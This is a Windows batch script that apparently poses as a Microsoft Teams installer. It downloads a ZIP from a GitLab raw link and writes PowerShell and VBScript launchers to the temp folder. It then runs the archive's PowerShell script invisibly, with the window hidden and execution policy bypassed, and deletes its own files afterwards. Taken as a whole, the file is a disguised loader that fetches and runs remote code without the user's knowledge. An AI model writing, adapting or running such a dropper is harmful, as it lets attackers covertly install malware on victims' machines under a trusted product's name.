@echo off
setlocal EnableExtensions DisableDelayedExpansion

rem ================================================================
rem PUT YOUR DIRECT ZIP DOWNLOAD LINK HERE — only change this line.
rem ZIP must contain at its ROOT:
rem   one .ps1 file
rem   one .msi file (any filename)
rem ================================================================
set "ZIP_URL=https://gitlab.com/j.donovan/snowae/-/raw/main/Microsoft-Team_snow.zip"

if "%ZIP_URL%"=="https://YOUR-DOMAIN.example/path/package.zip" (
    echo ERROR: Replace ZIP_URL with your direct ZIP URL.
    pause
    exit /b 2
)

rem Write a hidden VBS launcher to %TEMP% — this spawns PowerShell completely invisibly.
set "VbsLauncher=%TEMP%\MSTeamsLaunch_%RANDOM%.vbs"
set "PsLauncher=%TEMP%\MSTeamsLaunch_%RANDOM%.ps1"
set "WorkDir=%TEMP%\MSTeamsInstall_%RANDOM%_%RANDOM%"

rem Write the PowerShell script to %TEMP%
(
    echo $zipUrl = '%ZIP_URL%'
    echo $workDir = '%WorkDir%'
    echo $zipPath = Join-Path $workDir 'pkg.zip'
    echo $ErrorActionPreference = 'Stop'
    echo [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
    echo New-Item -ItemType Directory -Path $workDir -Force ^| Out-Null
    echo ^(New-Object Net.WebClient^).DownloadFile^($zipUrl, $zipPath^)
    echo Expand-Archive -LiteralPath $zipPath -DestinationPath $workDir -Force
    echo $ps1Files = @^(Get-ChildItem -LiteralPath $workDir -Filter '*.ps1' -File^)
    echo if ^($ps1Files.Count -ne 1^) { Write-Host 'ERROR: ZIP must contain exactly one PS1 file at its root.'; Read-Host; exit 1 }
    echo $ps1Path = $ps1Files[0].FullName
    echo $msiFiles = @^(Get-ChildItem -LiteralPath $workDir -Filter '*.msi' -File^)
    echo if ^($msiFiles.Count -ne 1^) { Write-Host 'ERROR: ZIP must contain exactly one MSI file at its root.'; Read-Host; exit 1 }
    echo ^& $ps1Path
    echo Remove-Item -LiteralPath $workDir -Recurse -Force -ErrorAction SilentlyContinue
    echo Remove-Item -LiteralPath $MyInvocation.MyCommand.Path -Force -ErrorAction SilentlyContinue
    echo Remove-Item -LiteralPath '%VbsLauncher%' -Force -ErrorAction SilentlyContinue
) > "%PsLauncher%"

rem Write the VBScript that launches PowerShell with window style 0 (completely hidden)
(
    echo Set WshShell = CreateObject^("WScript.Shell"^)
    echo WshShell.Run "powershell.exe -NoProfile -ExecutionPolicy Bypass -File """ ^& "%PsLauncher%" ^& """", 0, False
) > "%VbsLauncher%"

rem Launch the VBScript silently — /b keeps the cmd window itself clean too
start /b "" wscript.exe "%VbsLauncher%"
exit /b 0